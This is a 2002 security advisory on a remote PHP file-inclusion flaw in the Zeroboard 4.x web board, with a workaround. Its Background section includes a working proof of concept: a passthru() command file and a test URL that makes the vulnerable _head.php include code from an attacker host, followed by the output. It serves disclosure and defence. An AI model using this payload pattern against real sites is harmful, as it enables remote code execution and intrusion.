malicious PHP source injection

["I'm I" <onlooker () cnun xsdeny net>]

JCC Security Advisory
June 15, 2002

malicious PHP source injection

Description

Zeroboard is one of popular PHP web boards in Korea.
When allow_url_fopen = On and register_globals = On in php.ini, 
Zeroboard has vulnerability because _head.php contains dangerous codes.
 So an attacker can include any files into server's PHP codes.

Impact

All versions of Zeroboard 4.x.

Workaround

allow_url_fopen = off and register_globals = off. 

Tested systems 

Zeroboard 4.1pl2 Debian GNU/Linux SID(x86)

Background

We checked the vulnerability with "http://BOARD_URL/_head.php?_zb_path=WANTED_TO_INCLUDE"; and
 made a sample code, alib.php,

--------------------alib.php--------------
<? passthru("/bin/ls"); ?>
-----------------------------------------

and type the following URL to invoke this sample code.

TEST URL : http://BOARD_URL/_head.php?_zb_path=http://MYBOX/a";

-------out put----------------------------
_foot.php _head.php admin admin.php admin_sendmail_ok.php admin_setup.php apply_vote.php check_user_id.php 
comment_ok.php config.php data del_comment.php del_comment_ok.php delete.php delete_ok.php download.php error.php icon 
image_box.php images include index.html install.php install1.php install2.php install2_ok.php install_ok.php 
latest_skin lib.php license.txt list_all.php login.php login_check.php logout.php lostid.php lostid_search.php 
member_join.php member_join_ok.php member_memo.php member_memo2.php member_memo3.php member_modify.php 
member_modify_ok.php member_out.php open_window.php outlogin.php outlogin_skin schema.sql script select_list_all.php 
send_message.php setup.php skin style.css view.php view_info.php view_info2.php view_preview.php vote.php write.php 
write_ok.php zboard.php zipcode 
Fatal error: Call to undefined function: dbconn() in /home/morris/public_html/tmp/bbs/_head.php on line 41
-----------------------------------------

thx for BlackNight at r0ar

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http://jcc.hackerslab.org(at morris Chang)

e-mail : morris () xsdeny net